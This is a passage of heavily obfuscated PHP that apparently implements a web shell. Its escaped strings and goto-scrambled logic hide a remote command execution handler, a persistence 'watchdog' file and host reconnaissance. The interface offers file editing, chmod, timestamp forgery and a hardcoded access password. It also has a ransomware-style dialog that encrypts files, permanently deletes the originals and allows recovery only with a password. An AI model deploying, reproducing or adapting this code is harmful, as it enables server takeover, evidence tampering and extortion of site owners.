DIRECTORY_SEPARATOR . "\56\152\x61\156\165\163\x5f\167\141\164\143\x68\144\157\x67\x5f" . substr(md5($zJsLG), 0, 8) . "\x2e\x70\150\160"; goto P_nPu; PTVFj: $VtInv = "\162\145\x6d\x6f\x74\145\137\x63\157\155\155\x61\x6e\144\x5f\145\170\145\143"; goto QVY4g; aqr3A: ob_clean(); goto ypaDn; fvDN7: echo __FILE__; goto C6Ssn; TmKLX: $JUlBm = Nz_at($_POST["\160"]); goto t2Y3I; DLAoq: goto S6XqA; goto AIGE_; E_DtZ: chdir($_SESSION["\x63\x77\144"]); goto lTLK3; Xvcad: header("\x43\x6f\156\164\x65\156\x74\x2d\124\171\160\x65\x3a\40\141\160\160\x6c\151\143\x61\x74\151\157\156\x2f\x6f\143\164\145\164\55\163\164\x72\145\141\155"); goto R_mq2; k_1Jl: function CY_0b() : array { goto fg4Jx; fg4Jx: global $DqyA2; goto hpXFc; r3cwN: return ["\x53\150\x65\x6c\154\40\x56\145\162\163\x69\x6f\x6e" => Lu3Gi, "\x55\x6e\141\155\x65" => php_uname("\x61"), "\x4f\x70\145\x72\x61\164\151\x6e\147\x20\x53\171\x73\164\x65\x6d" => php_uname("\163") . "\x20" . php_uname("\x72"), "\x68\157\163\164\x6e\x61\x6d\x65" => php_uname("\x6e"), "\x53\145\x72\166\x65\162\x20\110\x6f\x73\164\x6e\x61\155\x65" => php_uname("\x6e"), "\123\145\162\x76\145\x72\40\x49\120" => isset($_SERVER["\x53\105\x52\x56\x45\x52\137\101\104\x44\x52"]) ? $_SERVER["\123\105\x52\x56\105\x52\137\x41\x44\104\x52"] : "\x4e\x2f\101", "\x59\157\165\162\x20\x49\120" => $_SERVER["\122\105\x4d\117\124\105\137\101\x44\x44\x52"], "\x75\x73\145\x72" => get_current_user(), "\x43\x75\x72\x72\145\156\164\40\125\x73\145\162" => get_current_user() . "\x20\x28" . getmyuid() . "\x3a" . getmygid() . "\x29", "\x50\110\x50\40\126\145\162\x73\151\157\156" => PHP_VERSION, "\x57\x65\x62\40\x53\x65\x72\x76\x65\162" => isset($_SERVER["\x53\105\x52\x56\x45\122\137\123\x4f\106\124\x57\101\122\105"]) ? $_SERVER["\123\x45\x52\126\105\x52\137\123\x4f\x46\x54\x57\101\122\105"] : "\116\57\101", "\x44\x69\x73\141\x62\x6c\x65\x64\40\106\165\x6e\x63\x74\x69\x6f\x6e\x73" => $PHYwo ? wordwrap($PHYwo, 60, "\xa", true) : "\116\157\x6e\145", "\x47\x69\164\150\x75\142\x20\114\151\156\153" => "\74\x61\40\x68\x72\x65\x66\75\42\150\x74\164\x70\163\x3a\57\57\147\151\x74\150\x75\142\x2e\x63\157\x6d\57\152\157\145\154\151\156\144\162\141\42\40\164\x61\x72\147\x65\x74\75\42\x5f\x62\154\141\x6e\x6b\x22\x20\x73\x74\171\x6c\x65\75\42\x63\157\154\x6f\162\x3a\40\167\150\x69\x74\145\73\42\x3e\112\x6f\x65\x6c\40\x49\x6e\x64\162\141\74\x2f\x61\x3e"]; goto iUb2Z; hpXFc: $PHYwo = implode("\54\x20", $DqyA2); goto r3cwN; iUb2Z: } goto BojWq; k2uXR: echo "\42\x3e\12\x9\x9\11\11\11\11\12\11\11\11\11\11\11\x3c\x64\x69\166\x20\x73\164\171\x6c\145\x3d\x22\147\x72\x69\x64\55\x63\157\154\165\155\156\x3a\40\x31\x20\x2f\40\55\61\x3b\40\x70\141\144\144\x69\x6e\x67\x3a\61\x35\x70\x78\x3b\40\x62\x61\x63\x6b\x67\162\x6f\165\x6e\x64\72\x76\141\x72\50\x2d\x2d\x62\x67\55\154\x69\x67\150\x74\x29\73\40\x62\x6f\162\144\145\162\x2d\x72\141\x64\151\165\x73\72\x36\x70\170\73\40\146\157\x6e\x74\55\163\151\x7a\x65\72\60\x2e\x38\65\162\x65\155\73\40\143\157\x6c\157\162\x3a\166\141\x72\50\55\55\164\145\x78\x74\x2d\155\145\144\51\x3b\40\142\x6f\x72\144\x65\162\55\x6c\x65\146\164\x3a\x33\160\x78\40\x73\157\154\x69\x64\x20\166\141\162\x28\x2d\x2d\141\x63\x63\145\156\164\x2d\142\154\x75\145\x29\73\x22\x3e\12\11\11\11\11\x9\x9\11\74\x73\x74\x72\157\x6e\147\40\163\x74\x79\154\145\x3d\x22\143\157\x6c\x6f\162\x3a\166\x61\162\50\55\55\141\143\143\x65\x6e\x74\x2d\x62\154\165\x65\x29\73\x22\76\342\x84\271\xef\xb8\x8f\40\x49\156\x66\157\x72\155\141\164\x69\x6f\156\72\x3c\x2f\163\x74\162\x6f\x6e\x67\76\x3c\142\x72\x3e\xa\11\11\x9\11\x9\11\x9\342\200\242\x20\x2e\150\x74\141\143\x63\145\x73\x73\40\x61\153\141\156\40\x64\151\142\x75\141\164\40\x64\151\40\144\x69\162\x65\153\x74\x6f\x72\151\x20\x79\141\156\147\x20\x73\x61\x6d\141\x20\144\x65\156\147\x61\x6e\x20\x73\150\145\154\x6c\74\142\162\76\xa\x9\11\11\11\11\11\11\xe2\200\xa2\x20\120\x72\157\x74\x65\x63\164\151\157\x6e\x20\x61\153\x61\x6e\40\155\145\x6d\x62\154\x6f\x6b\x69\162\40\141\x6b\163\x65\x73\x20\x47\105\x54\x20\x6c\x61\156\147\163\165\156\x67\40\164\x61\x6e\x70\x61\x20\164\x6f\153\x65\156\74\142\x72\76\xa\x9\x9\x9\x9\x9\11\11\342\200\242\x20\x50\x4f\123\x54\x20\x72\x65\161\165\145\x73\x74\x73\x20\164\145\164\141\160\40\144\x69\x69\172\x69\x6e\x6b\141\156\40\x75\x6e\x74\165\x6b\x20\153\x6f\x6d\165\156\151\153\x61\x73\151\40\163\x68\x65\154\154\x3c\142\162\76\xa\x9\x9\11\11\11\11\11\xe2\x80\242\40\x53\145\x63\162\x65\x74\x20\164\x6f\153\x65\156\x20\141\153\x61\156\x20\x64\x69\x73\x69\x6d\x70\x61\156\40\x64\151\40\x66\151\x6c\x65\40\56\152\141\156\165\x73\x5f\x73\145\x63\x72\x65\x74\x5f\52\x3c\142\x72\x3e\12\x9\x9\11\11\x9\x9\11\xe2\200\xa2\x20\x46\151\x6c\145\x20\x2e\150\164\x61\x63\143\x65\x73\x73\40\124\x49\x44\x41\113\40\144\151\x62\165\141\x74\x20\x6f\x74\157\x6d\141\x74\x69\x73\x20\163\x61\141\x74\40\x73\150\x65\154\154\x20\144\x69\x62\165\153\141\74\x62\162\x3e\xa\x9\x9\11\11\11\x9\11\342\x80\242\40\101\x6e\x64\x61\40\150\141\x72\165\x73\40\155\145\x6e\x67\153\154\151\x6b\40\164\x6f\x6d\x62\x6f\x6c\40\42\x47\x65\x6e\x65\x72\x61\164\x65\x22\40\165\x6e\164\x75\x6b\40\x6d\x65\x6d\x62\x75\141\x74\156\171\141\xa\11\x9\x9\11\11\x9\74\x2f\x64\151\166\x3e\xa\x9\11\x9\11\x9\74\x2f\x64\151\166\x3e\xa\x9\11\x9\11\11\12\11\x9\11\11\x9\x3c\142\165\164\x74\x6f\x6e\40\x69\x64\75\42\143\x72\x65\141\164\x65\x2d\x68\164\x61\x63\143\x65\x73\163\x2d\x62\164\x6e\x22\x20\143\154\141\x73\x73\x3d\42\144\141\156\x67\x65\162\55\142\x74\156\42\76\360\x9f\x9b\xa1\xef\270\x8f\x20\x47\x65\x6e\145\x72\141\x74\145\x20\x2e\x68\x74\x61\143\x63\x65\163\x73\x20\x50\x72\x6f\164\145\143\164\151\157\156\x3c\57\x62\165\164\164\x6f\x6e\x3e\xa\x9\x9\11\x9\x9\74\x64\151\x76\40\151\144\x3d\42\x64\145\x66\145\x6e\x64\x2d\x72\x65\163\x75\x6c\x74\163\42\x20\x73\164\x79\154\145\75\42\155\141\x72\x67\151\156\x2d\x74\x6f\x70\x3a\61\162\145\x6d\73\x22\76\x3c\57\144\151\166\x3e\xa\11\11\11\11\74\x2f\x64\151\x76\x3e\12\x9\x9\x9\74\x2f\144\151\x76\x3e\12\x9\11\x3c\57\x64\x69\166\x3e\xa\11\74\57\144\x69\166\x3e\12\40\x9\x3c\144\x69\x76\x20\151\144\x3d\x22\x65\x64\151\x74\157\x72\55\x6d\x6f\144\x61\154\x22\x20\143\x6c\x61\x73\x73\x3d\42\155\157\144\x61\154\x22\76\74\x64\151\x76\x20\143\154\141\163\x73\x3d\42\155\x6f\x64\x61\x6c\55\x63\x6f\x6e\164\145\x6e\x74\x22\x20\x73\164\171\x6c\x65\75\x22\x77\x69\x64\164\x68\72\40\x39\x30\x25\73\40\x6d\x61\170\55\x77\151\x64\x74\x68\72\40\61\62\60\60\x70\x78\73\42\x3e\x3c\144\151\x76\x20\143\154\141\x73\163\x3d\x22\155\x6f\144\141\154\55\x68\145\x61\144\x65\x72\42\x3e\x3c\150\63\x20\151\144\x3d\x22\145\144\151\164\x6f\x72\55\x66\x69\154\145\x6e\x61\x6d\145\x22\x3e\74\57\150\63\76\74\163\x70\x61\x6e\x20\x63\154\x61\163\x73\x3d\42\x63\x6c\157\x73\145\x22\x3e\46\164\x69\x6d\x65\x73\73\x3c\57\x73\160\141\x6e\x3e\x3c\x2f\x64\151\166\76\74\x64\151\x76\40\143\154\141\x73\x73\75\x22\155\157\144\x61\x6c\x2d\142\157\x64\x79\x22\x3e\x3c\164\x65\170\x74\141\x72\145\141\x20\151\x64\75\x22\145\144\x69\164\157\162\x2d\x74\145\x78\x74\141\162\x65\141\x22\76\74\x2f\x74\145\170\x74\141\162\x65\x61\76\74\57\x64\x69\166\x3e\74\x62\165\x74\x74\x6f\x6e\x20\151\144\x3d\42\x73\x61\x76\x65\55\146\151\x6c\x65\x2d\x62\x74\156\42\40\x73\x74\171\154\x65\x3d\x22\155\141\x72\x67\151\x6e\x2d\x74\157\x70\72\40\61\162\x65\x6d\x3b\x20\x61\x6c\151\147\x6e\55\163\145\154\146\x3a\x20\x66\154\145\170\x2d\x65\156\144\x3b\x22\x3e\123\x61\166\x65\x20\x43\x68\141\x6e\x67\x65\163\74\57\142\165\164\x74\x6f\156\76\x3c\57\x64\x69\x76\76\x3c\x2f\x64\151\x76\x3e\12\x20\x9\74\144\x69\166\x20\151\x64\x3d\42\143\150\155\x6f\x64\x2d\155\157\144\141\154\x22\x20\143\154\141\163\163\x3d\x22\x6d\x6f\x64\141\x6c\42\76\74\144\x69\x76\x20\143\x6c\x61\x73\x73\75\42\x6d\157\144\141\154\x2d\143\x6f\x6e\x74\x65\156\x74\x22\40\x73\164\x79\x6c\145\75\42\x77\x69\144\164\x68\72\x20\141\x75\164\157\73\x22\76\x3c\144\x69\166\40\x63\x6c\x61\163\163\75\42\155\157\x64\141\154\x2d\x68\145\x61\x64\x65\x72\x22\x3e\74\150\x33\76\103\150\x61\x6e\147\145\40\x50\x65\162\x6d\151\163\x73\x69\x6f\156\x73\x3c\x2f\x68\x33\x3e\74\163\x70\x61\x6e\x20\143\x6c\141\x73\163\75\x22\x63\154\x6f\163\x65\42\x3e\x26\164\x69\155\x65\163\x3b\74\x2f\x73\x70\x61\156\x3e\x3c\57\x64\x69\x76\x3e\x3c\151\x6e\x70\165\164\40\x74\171\x70\145\x3d\42\x74\145\x78\164\42\x20\x69\x64\75\x22\x63\150\155\x6f\144\55\160\x61\164\x68\x22\40\x72\x65\x61\144\157\x6e\x6c\171\x20\x73\164\171\154\145\75\42\155\x61\162\x67\151\x6e\55\142\x6f\x74\x74\x6f\155\72\x20\61\x72\x65\155\x3b\x22\76\x3c\151\x6e\160\x75\164\40\x74\171\x70\x65\75\42\164\x65\x78\x74\x22\x20\x69\144\x3d\x22\143\x68\155\x6f\x64\55\x69\156\x70\x75\x74\x22\x20\x70\154\141\x63\145\x68\x6f\154\x64\145\x72\75\42\x65\56\147\56\54\40\x30\x37\65\65\x22\40\x73\164\x79\x6c\145\x3d\x22\155\x61\162\147\x69\156\x2d\142\x6f\x74\x74\x6f\x6d\72\40\x31\x72\x65\x6d\73\42\x3e\x3c\x62\x75\164\164\x6f\156\40\x69\x64\x3d\42\143\x68\155\157\x64\55\163\141\166\x65\55\142\164\156\42\x20\163\x74\171\154\145\75\x22\141\154\151\x67\156\55\x73\145\154\146\x3a\40\146\154\x65\x78\55\145\156\144\x3b\x22\76\123\145\164\40\x50\145\162\155\151\163\163\x69\x6f\156\163\74\x2f\x62\165\164\x74\x6f\x6e\76\74\57\x64\x69\x76\76\x3c\57\x64\151\x76\x3e\xa\40\x9\74\x64\x69\x76\x20\151\x64\x3d\x22\164\x69\x6d\145\163\164\157\x6d\x70\x2d\x6d\157\144\141\x6c\x22\x20\143\154\x61\163\x73\75\42\155\x6f\x64\x61\x6c\x22\x3e\x3c\x64\x69\166\40\x63\154\141\163\x73\75\x22\155\x6f\144\x61\x6c\x2d\x63\157\x6e\164\x65\x6e\164\42\40\163\164\171\x6c\145\75\x22\167\151\x64\x74\x68\72\x20\x36\x30\x30\160\x78\x3b\42\x3e\74\144\x69\x76\x20\143\x6c\141\x73\163\x3d\x22\x6d\157\x64\x61\154\55\x68\x65\x61\x64\x65\162\x22\76\x3c\x68\x33\x3e\x54\151\x6d\145\163\x74\x6f\x6d\160\x20\106\151\x6c\145\x3c\57\150\63\76\x3c\163\160\x61\156\x20\143\154\141\x73\163\75\x22\143\x6c\x6f\x73\145\x22\x3e\46\164\x69\x6d\145\x73\73\x3c\x2f\163\160\x61\x6e\76\x3c\x2f\x64\x69\x76\x3e\x3c\x70\x20\163\x74\x79\x6c\x65\75\42\155\141\x72\x67\151\x6e\x2d\164\x6f\160\x3a\x30\x3b\40\143\157\x6c\157\162\72\x76\141\x72\x28\55\55\x74\x65\170\164\55\155\145\x64\x29\73\42\76\x43\150\x61\x6e\x67\x65\40\x74\150\145\x20\164\x69\x6d\145\x73\164\141\155\160\x20\x6f\146\40\74\x73\x74\x72\157\x6e\147\40\x69\x64\75\42\x74\x69\155\145\x73\164\x6f\155\160\x2d\x64\145\x73\x74\x2d\146\151\x6c\145\156\x61\155\145\42\x3e\74\x2f\x73\x74\162\x6f\156\x67\76\x20\164\x6f\x20\x6d\x61\x74\143\150\x20\141\40\x73\157\x75\x72\143\x65\40\146\151\x6c\x65\56\74\x2f\160\x3e\74\151\x6e\160\165\164\40\x74\171\x70\x65\75\x22\164\x65\170\164\42\40\x69\x64\x3d\x22\x74\x69\155\145\x73\x74\157\155\160\x2d\x73\x6f\165\x72\143\145\x2d\x69\x6e\x70\165\164\42\x20\x70\154\141\x63\145\150\x6f\154\144\145\x72\x3d\42\x46\165\154\x6c\40\x70\x61\164\x68\40\x74\157\40\x73\157\x75\x72\x63\145\x20\x66\x69\154\145\40\50\x65\x2e\x67\56\x2c\40\x2f\x62\x69\156\57\x73\x68\x29\x22\40\163\x74\171\x6c\145\75\x22\x77\x69\144\164\150\x3a\x31\60\60\45\x3b\40\x6d\x61\162\147\151\x6e\x2d\142\x6f\x74\164\157\x6d\72\40\x31\x72\145\x6d\x3b\42\76\x3c\x62\x75\164\x74\x6f\x6e\x20\x69\144\x3d\42\x74\x69\x6d\145\x73\164\x6f\155\x70\x2d\x73\x61\166\145\x2d\x62\x74\156\42\x20\x73\x74\171\154\x65\x3d\42\141\154\x69\147\156\55\x73\x65\154\146\72\x20\x66\154\x65\170\55\145\156\x64\73\x22\x3e\x41\160\x70\154\x79\40\124\x69\x6d\145\x73\164\141\155\160\x3c\57\142\165\x74\x74\157\x6e\76\x3c\x2f\x64\x69\166\x3e\x3c\57\x64\x69\166\x3e\xa\40\x9\x3c\144\151\x76\40\151\x64\75\42\x6d\x65\x64\151\141\x2d\155\x6f\x64\141\x6c\x22\x20\x63\154\x61\163\163\x3d\42\155\x6f\x64\141\x6c\42\76\74\144\x69\166\x20\x63\154\141\x73\x73\x3d\42\x6d\157\144\141\x6c\55\143\x6f\x6e\x74\x65\x6e\164\x22\x3e\x3c\144\x69\x76\x20\143\x6c\x61\163\x73\75\42\x6d\157\144\x61\x6c\55\x68\145\141\x64\x65\x72\x22\76\74\x68\x33\x3e\x4d\x65\x64\x69\x61\40\x56\151\x65\x77\145\162\x3c\57\150\x33\76\x3c\163\x70\x61\x6e\40\x63\154\141\x73\x73\75\x22\x63\154\157\x73\x65\42\x3e\x26\164\151\x6d\x65\163\x3b\74\57\x73\x70\x61\156\76\x3c\57\x64\x69\166\x3e\x3c\144\x69\x76\x20\x63\154\141\x73\x73\x3d\42\x6d\x6f\144\x61\154\55\142\157\x64\x79\x22\x20\x69\144\x3d\x22\155\x65\x64\151\x61\x2d\143\157\x6e\x74\x65\x6e\164\42\x20\163\164\171\x6c\145\75\x22\x74\x65\170\x74\x2d\x61\154\151\x67\156\72\143\145\x6e\164\x65\x72\x3b\x22\x3e\74\57\144\151\x76\76\x3c\57\144\x69\166\76\x3c\x2f\x64\x69\x76\x3e\12\11\74\x64\151\x76\x20\151\x64\x3d\42\160\x61\x73\x73\x77\x6f\x72\x64\55\x6d\x6f\144\x61\154\x22\40\x63\154\x61\163\163\x3d\42\155\x6f\x64\141\154\42\76\74\x64\151\166\x20\x63\x6c\x61\163\163\75\42\x6d\x6f\x64\x61\154\55\143\157\x6e\x74\x65\156\x74\40\160\141\x73\x73\167\157\162\144\x2d\x6d\157\x64\x61\154\x2d\143\157\156\164\145\x6e\164\x22\x3e\x3c\144\151\x76\x20\143\x6c\x61\x73\x73\75\42\155\x6f\144\x61\154\55\150\x65\x61\144\145\162\40\160\141\x73\163\x77\157\x72\x64\55\x6d\157\144\141\154\x2d\150\145\x61\x64\x65\x72\x22\76\74\x68\63\x3e\360\237\224\x90\40\120\141\163\163\x77\157\x72\144\x20\122\x65\161\165\151\x72\x65\x64\74\57\150\x33\76\74\x73\160\x61\x6e\x20\143\154\141\x73\x73\x3d\x22\143\154\x6f\163\145\x22\40\151\144\x3d\42\160\141\x73\x73\x77\x6f\x72\x64\55\155\x6f\x64\141\x6c\55\x63\x6c\x6f\x73\x65\42\x3e\46\x74\151\155\x65\x73\x3b\74\57\x73\x70\141\x6e\76\x3c\57\x64\x69\166\x3e\74\144\x69\166\40\x63\x6c\x61\x73\x73\75\42\155\157\144\x61\154\x2d\x62\157\144\x79\x20\160\141\x73\x73\x77\x6f\162\144\x2d\x6d\157\144\141\154\x2d\x62\157\x64\171\x22\x3e\74\x64\151\x76\40\143\154\x61\x73\163\75\42\160\x61\x73\x73\167\157\x72\x64\x2d\x69\156\146\157\x2d\142\157\170\x22\x3e\x3c\x64\151\x76\x20\143\x6c\141\x73\x73\x3d\42\160\x61\163\x73\x77\x6f\x72\x64\55\151\x63\x6f\156\x22\76\xf0\x9f\x94\221\74\57\144\x69\166\76\x3c\160\x20\x63\x6c\141\x73\163\75\x22\160\x61\x73\x73\167\x6f\x72\144\55\x68\x69\x6e\x74\42\76\x4d\141\x73\165\153\x6b\141\x6e\40\x70\141\x73\163\x77\x6f\x72\144\x20\x75\x6e\164\x75\x6b\x20\155\x65\156\147\141\x6b\163\x65\163\40\x44\x6f\x6d\x61\151\156\x20\x49\156\164\x65\x6c\x3c\57\160\76\74\144\151\x76\x20\143\154\x61\163\163\75\42\160\141\x73\x73\167\157\x72\144\55\144\151\163\160\154\x61\171\42\x3e\x3c\163\x70\141\x6e\x20\143\x6c\x61\163\x73\75\42\160\x61\x73\163\x77\x6f\x72\144\55\154\x61\142\145\154\42\x3e\120\141\163\x73\167\157\162\144\72\74\57\x73\x70\141\x6e\76\x3c\163\x70\141\x6e\x20\x63\154\141\163\x73\x3d\42\x70\141\x73\163\167\157\162\144\x2d\166\x61\154\165\145\x22\x20\151\x64\x3d\x22\x70\x61\163\163\167\157\x72\x64\x2d\144\151\163\160\x6c\141\171\55\166\141\154\165\145\42\x3e\150\x61\143\153\145\162\164\145\x72\154\x61\162\141\x6e\147\74\x2f\163\x70\x61\x6e\x3e\74\142\x75\x74\164\157\x6e\x20\x63\x6c\141\x73\x73\75\42\143\x6f\x70\171\x2d\160\141\x73\x73\167\x6f\162\144\55\142\164\156\x22\x20\x69\144\x3d\x22\143\x6f\160\x79\55\160\x61\163\x73\167\x6f\x72\144\55\x62\164\156\x22\x20\x74\x69\x74\x6c\145\x3d\42\103\157\x70\x79\x20\120\x61\x73\x73\x77\x6f\162\x64\x22\76\xf0\x9f\223\x8b\74\57\x62\165\x74\x74\x6f\x6e\76\74\57\144\151\x76\76\74\x2f\x64\151\166\76\x3c\x64\151\166\x20\x63\x6c\x61\163\x73\75\42\x70\141\x73\163\x77\x6f\162\144\x2d\151\x6e\160\165\164\x2d\147\162\157\165\x70\42\x3e\74\154\x61\142\x65\154\x20\146\x6f\162\75\42\160\x61\163\163\x77\x6f\162\x64\x2d\x69\156\160\165\x74\42\x3e\105\x6e\x74\x65\162\x20\x50\141\x73\x73\x77\x6f\x72\144\x3a\74\x2f\154\x61\142\145\154\x3e\74\151\156\x70\x75\x74\40\164\x79\x70\x65\75\x22\x70\x61\163\163\167\x6f\x72\144\x22\x20\x69\x64\75\42\160\141\x73\163\x77\157\x72\x64\x2d\x69\x6e\160\165\x74\42\x20\160\154\x61\143\145\150\157\x6c\144\145\162\75\42\115\141\163\x75\153\153\141\x6e\x20\160\141\x73\x73\167\x6f\x72\x64\x20\144\151\x20\163\151\x6e\x69\x2e\56\x2e\x22\x20\141\x75\164\157\x63\x6f\x6d\x70\154\x65\164\145\x3d\42\x6f\146\x66\x22\x20\x61\165\x74\x6f\146\157\x63\165\163\76\74\144\x69\166\x20\143\154\x61\x73\163\75\x22\x70\141\163\163\167\157\x72\144\55\145\162\162\x6f\162\x22\x20\x69\x64\75\x22\160\141\163\163\x77\x6f\x72\x64\x2d\145\162\162\157\x72\42\76\74\x2f\x64\151\166\76\74\57\x64\151\166\76\74\x64\151\x76\40\143\x6c\141\x73\x73\75\x22\160\141\x73\x73\167\x6f\x72\x64\x2d\155\x6f\144\x61\x6c\x2d\141\143\164\x69\x6f\x6e\x73\x22\x3e\74\x62\165\164\164\157\156\40\x69\144\75\42\160\141\x73\x73\x77\157\162\x64\x2d\x63\x61\156\x63\145\154\55\x62\164\x6e\x22\40\x63\154\141\x73\163\75\x22\160\141\163\x73\x77\x6f\x72\144\x2d\142\164\156\x2d\x63\x61\156\x63\x65\x6c\42\x3e\103\x61\156\x63\x65\154\x3c\57\142\165\x74\x74\157\156\x3e\74\142\x75\x74\x74\x6f\x6e\40\151\x64\75\x22\x70\x61\163\x73\x77\157\x72\x64\55\163\165\x62\155\151\164\x2d\142\x74\156\42\x20\x63\x6c\141\x73\x73\x3d\42\x70\141\x73\163\167\157\x72\144\x2d\x62\x74\x6e\x2d\x73\x75\142\x6d\151\x74\x22\x3e\126\145\162\151\x66\171\40\46\x20\x43\157\156\164\151\x6e\165\x65\74\57\x62\165\164\x74\157\x6e\x3e\74\57\144\x69\x76\76\x3c\x2f\x64\x69\166\76\74\57\x64\x69\x76\76\x3c\57\144\151\x76\76\12\x9\74\x64\151\166\40\151\x64\75\x22\x69\162\162\x65\166\x65\x72\x73\x69\x62\x6c\x65\55\x6d\x6f\x64\141\154\x22\40\143\x6c\141\163\163\x3d\x22\155\x6f\144\141\154\42\76\x3c\144\151\x76\x20\143\154\141\163\x73\75\42\x6d\x6f\x64\141\x6c\x2d\143\x6f\x6e\x74\145\x6e\164\40\x69\x72\162\145\x76\x65\x72\163\x69\142\154\x65\55\x6d\x6f\x64\x61\154\x2d\x63\157\x6e\x74\145\x6e\x74\x22\76\x3c\x64\x69\166\x20\143\154\x61\x73\x73\x3d\42\155\157\x64\x61\x6c\55\150\145\x61\x64\x65\162\40\x69\x72\162\145\x76\x65\x72\x73\x69\142\x6c\x65\55\x6d\157\144\x61\154\x2d\150\x65\x61\144\x65\x72\42\x3e\74\x68\x33\76\xe2\x9a\240\357\270\x8f\40\x44\x41\116\x47\105\122\x3a\x20\111\122\122\105\x56\x45\x52\123\111\x42\114\x45\x20\101\x43\124\111\x4f\116\74\x2f\x68\63\76\x3c\x73\x70\x61\x6e\40\143\154\141\x73\163\x3d\x22\143\154\157\163\145\x22\40\x69\144\75\42\151\x72\162\145\x76\145\x72\x73\x69\x62\x6c\145\55\x6d\x6f\144\x61\154\55\x63\154\x6f\x73\145\42\x3e\46\x74\151\x6d\145\163\73\74\57\x73\x70\x61\156\x3e\x3c\57\x64\x69\x76\x3e\74\144\x69\166\40\143\x6c\141\163\x73\x3d\42\x6d\157\x64\x61\x6c\x2d\142\x6f\x64\x79\x20\151\162\x72\145\x76\x65\x72\x73\x69\142\154\x65\55\x6d\157\144\141\x6c\55\x62\157\144\x79\42\x3e\x3c\144\x69\166\40\143\154\141\x73\163\x3d\x22\151\162\162\x65\x76\x65\x72\x73\151\x62\154\145\x2d\x77\x61\x72\x6e\151\156\147\55\142\157\x78\42\x3e\x3c\144\151\x76\x20\143\x6c\141\163\163\75\x22\x69\x72\162\145\166\x65\x72\163\151\x62\154\x65\55\151\143\157\156\42\76\xf0\237\x92\200\x3c\57\x64\151\x76\76\x3c\x64\151\x76\x20\143\x6c\141\163\163\75\x22\151\x72\x72\145\166\145\162\163\151\142\154\145\55\164\151\x74\x6c\x65\42\76\x54\x48\111\x53\40\101\103\x54\x49\x4f\116\40\x49\123\40\111\122\122\105\x56\105\122\x53\x49\x42\114\x45\41\x3c\57\x64\151\166\x3e\74\x64\x69\x76\x20\143\x6c\x61\163\163\x3d\42\151\x72\x72\145\166\x65\162\163\151\142\x6c\145\55\x6d\145\x73\x73\x61\147\145\42\40\151\x64\x3d\42\x69\x72\162\145\166\145\x72\163\x69\x62\154\x65\x2d\x6d\145\x73\163\x61\x67\x65\42\x3e\x3c\57\x64\x69\166\76\74\x64\151\x76\x20\143\154\141\x73\x73\75\x22\x69\x72\x72\145\x76\145\162\163\151\142\154\x65\x2d\x64\145\x74\x61\151\154\x73\x22\76\x3c\144\x69\166\40\x63\154\141\x73\x73\x3d\42\151\x72\x72\145\x76\145\x72\163\x69\142\154\x65\x2d\144\x65\164\141\x69\x6c\55\151\x74\x65\155\42\76\x3c\163\x70\141\x6e\x20\x63\x6c\141\x73\x73\x3d\x22\x64\145\x74\x61\151\154\55\x69\143\x6f\156\x22\76\360\x9f\224\x92\x3c\57\163\x70\141\156\76\x3c\x73\160\141\x6e\40\143\154\x61\x73\x73\75\42\x64\145\164\141\x69\x6c\x2d\164\145\170\164\42\x3e\x46\151\x6c\145\163\x20\x77\x69\x6c\154\x20\x62\145\40\x65\156\143\162\x79\160\x74\x65\x64\40\167\x69\164\150\40\110\x41\x44\105\123\x20\145\x6e\x63\x72\x79\x70\x74\151\157\156\74\x2f\163\160\141\x6e\76\74\x2f\x64\151\x76\x3e\74\x64\151\x76\x20\143\x6c\x61\x73\x73\75\42\x69\x72\x72\x65\x76\145\x72\x73\x69\142\154\145\x2d\144\145\x74\141\151\x6c\x2d\x69\164\145\x6d\x22\76\74\163\160\141\156\x20\x63\x6c\141\x73\x73\75\x22\144\x65\164\x61\151\154\x2d\151\x63\x6f\156\42\76\xf0\x9f\227\221\xef\xb8\x8f\74\x2f\x73\160\141\156\76\74\163\160\141\156\x20\143\154\141\163\163\75\42\x64\x65\164\x61\151\154\55\164\145\170\164\42\x3e\117\x72\x69\x67\151\156\141\x6c\40\x66\151\154\x65\x73\40\167\x69\x6c\154\x20\x62\x65\x20\120\105\122\x4d\101\116\105\x4e\124\114\131\40\104\105\x4c\x45\124\x45\x44\x3c\x2f\163\160\x61\156\76\74\57\144\151\x76\x3e\74\144\151\x76\40\143\x6c\x61\163\x73\x3d\x22\151\x72\162\x65\x76\x65\x72\x73\x69\x62\154\145\x2d\x64\145\x74\141\151\154\55\x69\164\x65\155\x22\x3e\74\163\x70\141\156\40\x63\x6c\x61\163\163\75\x22\144\145\164\141\x69\154\55\151\143\157\x6e\42\76\360\237\224\221\x3c\57\x73\x70\x61\x6e\76\x3c\x73\160\141\x6e\x20\x63\x6c\141\x73\x73\x3d\x22\x64\145\x74\141\151\x6c\55\x74\x65\170\164\42\x3e\122\x65\143\x6f\166\x65\x72\x79\40\151\x73\40\117\x4e\x4c\131\x20\x70\157\163\x73\x69\x62\154\x65\x20\167\x69\164\150\x20\164\x68\145\x20\160\141\x73\x73\167\157\x72\x64\x3c\x2f\163\x70\x61\156\76\x3c\x2f\144\x69\x76\x3e\74\144\151\x76\40\x63\x6c\141\163\x73\x3d\x22\x69\x72\x72\x65\166\145\x72\x73\151\142\154\x65\55\144\x65\x74\x61\x69\154\55\151\164\x65\155\42\x3e\74\x73\x70\141\x6e\x20\143\x6c\x61\163\163\75\42\144\x65\x74\x61\151\x6c\x2d\x69\x63\157\156\x22\x3e\xe2\x9a\xa0\357\xb8\217\74\57\x73\x70\141\x6e\x3e\74\163\x70\141\156\x20\x63\154\141\x73\x73\75\x22\144\145\x74\141\151\x6c\55\164\x65\170\164\42\x3e\x57\151\x74\150\x6f\x75\164\x20\x74\150\145\40\160\x61\x73\x73\x77\157\162\x64\x2c\40\146\x69\x6c\x65\x73\40\x61\162\x65\x20\114\x4f\x53\x54\40\x46\x4f\x52\x45\126\105\122\x3c\x2f\163\x70\141\156\x3e\74\x2f\x64\x69\x76\x3e\x3c\57\x64\x69\166\x3e\74\57\x64\151\x76\x3e\x3c\144\151\x76\40\x63\x6c\141\163\x73\x3d\42\151\162\x72\145\166\145\x72\x73\151\142\154\x65\55\x6d\x6f\144\x61\154\x2d\x61\143\x74\151\157\x6e\163\x22\76\x3c\x62\x75\164\164\157\156\40\151\144\75\x22\x69\162\162\145\166\145\x72\163\151\x62\154\x65\55\143\x61\x6e\143\145\154\x2d\x62\164\x6e\x22\x20\x63\154\x61\x73\163\75\42\151\x72\162\x65\x76\x65\x72\x73\151\142\154\145\x2d\x62\x74\156\x2d\143\x61\156\143\x65\154\42\x3e\342\x9d\x8c\x20\103\x61\x6e\x63\145\x6